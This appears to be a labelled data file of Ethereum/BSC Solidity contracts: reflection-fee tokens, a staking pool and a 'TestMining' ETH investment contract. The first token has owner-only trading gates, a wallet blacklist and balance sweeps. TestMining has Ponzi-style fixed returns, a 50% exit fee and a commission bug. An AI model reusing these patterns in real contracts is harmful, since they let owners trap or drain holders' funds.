SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); //Mainnet BSC //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); //Testnet BSC IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingFeePercent(uint256 fee) public onlyOwner { require(fee < 50, "Marketing fee cannot be more than 50% of liquidity"); marketingFeePercent = fee; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require(taxFee < 10, "Tax fee cannot be more than 10%"); _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > 1000000, "Max Tx Amount cannot be less than 1 Million"); _maxTxAmount = maxTxAmount * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 1000000, "Swap Threshold Amount cannot be less than 1 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }

True

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pragma solidity ^0.4.18; contract TestMining{ mapping (address => uint256) public investedETH; mapping (address => uint256) public lastInvest; mapping (address => uint256) public affiliateCommision; address dev = 0x47CCf63dB09E3BF617a5578A5eBBd19a4f321F67; address promoter = 0xac25639bb9B90E9ddd89620f3923E2B8fDF3759d; function investETH(address referral) public payable { require(msg.value >= 0.01 ether); if(getProfit(msg.sender) > 0){ uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } uint256 amount = msg.value; uint256 commision = SafeMath.div(amount, 10); if(referral != msg.sender && referral != 0x1 && referral != dev && referral != promoter){ affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], commision); } affiliateCommision[dev] = SafeMath.div(amount, 40); affiliateCommision[promoter] = SafeMath.div(amount, 40); /* affiliateCommision[dev] = SafeMath.add(affiliateCommision[dev], commision); affiliateCommision[promoter] = SafeMath.add(affiliateCommision[promoter], commision); */ investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], amount); lastInvest[msg.sender] = now; } function divestETH() public { uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; //20% fee on taking capital out uint256 capital = investedETH[msg.sender]; uint256 fee = SafeMath.div(capital, 2); //50% fee to leave early capital = SafeMath.sub(capital, fee); uint256 total = SafeMath.add(capital, profit); require(total > 0); investedETH[msg.sender] = 0; msg.sender.transfer(total); } function withdraw() public{ uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } function getProfitFromSender() public view returns(uint256){ return getProfit(msg.sender); } function getProfit(address customer) public view returns(uint256){ uint256 secondsPassed = SafeMath.sub(now, lastInvest[customer]); return SafeMath.div(SafeMath.mul(secondsPassed, investedETH[customer]), 2592000); //30 days in seconds is 2592000 } function reinvestProfit() public { uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], profit); } function getAffiliateCommision() public view returns(uint256){ return affiliateCommision[msg.sender]; } function withdrawAffiliateCommision() public { require(affiliateCommision[msg.sender] > 0); uint256 commision = affiliateCommision[msg.sender]; affiliateCommision[msg.sender] = 0; msg.sender.transfer(commision); } function getInvested() public view returns(uint256){ return investedETH[msg.sender]; } function getBalance() public view returns(uint256){ return this.balance; } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) private pure returns (uint256) { return a > b ? a : b; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-02-06 */ pragma solidity ^0.5.0; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burn(uint256 amount, uint256 bRate) external returns(uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.5; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(msg.sender == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public stakeToken; uint256 internal _totalSupply; mapping(address => uint256) internal _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakeToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); } } contract DMONDETHRewards is LPTokenWrapper, IRewardDistributionRecipient { constructor() public { rewardDistribution = msg.sender; } IERC20 public DMOND = IERC20(0x2767e4c3fdB831e094EdB41E42ccD6789Af7B449); uint256 public DURATION = 2592000; uint256 public starttime = 0; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event SetStakeToken(address stakeAddress); event SetStartTime(uint256 unixtime); modifier checkStart() { require(block.timestamp >= starttime,"Rewards haven't started yet!"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function remainingReward() public view returns (uint256) { return DMOND.balanceOf(address(this)); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; DMOND.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } function setStakeAddress(address stakeAddress) public onlyOwner { stakeToken = IERC20(stakeAddress); emit SetStakeToken(stakeAddress); } function setStartTime(uint256 unixtime) public onlyOwner { starttime = unixtime; emit SetStartTime(unixtime); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-21 */ /** Shiburb - All these birds need an exterminator, the freshest bird killer.” /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$ /$$__ $$| $$ | $$|_ $$_/| $$__ $$| $$ | $$| $$__ $$| $$__ $$ | $$ \__/| $$ | $$ | $$ | $$ \ $$| $$ | $$| $$ \ $$| $$ \ $$ | $$$$$$ | $$$$$$$$ | $$ | $$$$$$$ | $$ | $$| $$$$$$$/| $$$$$$$ \____ $$| $$__ $$ | $$ | $$__ $$| $$ | $$| $$__ $$| $$__ $$ /$$ \ $$| $$ | $$ | $$ | $$ \ $$| $$ | $$| $$ \ $$| $$ \ $$ | $$$$$$/| $$ | $$ /$$$$$$| $$$$$$$/| $$$$$$/| $$ | $$| $$$$$$$/ \______/ |__/ |__/|______/|_______/ \______/ |__/ |__/|_______/ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShiburbToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiburb Token";// string private constant _symbol = "SHIBURB";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 1;// uint256 private _taxFeeOnBuy = 4;// //Sell Fee uint256 private _redisFeeOnSell = 1;// uint256 private _taxFeeOnSell = 7;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x3D0fE205cEC5A88014F163dF67c2CCa0dF9A4EAa);// address payable private _marketingAddress = payable(0x875b1E8c1EDB3DE1259C5A291EFb7C2a6c374613);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; // 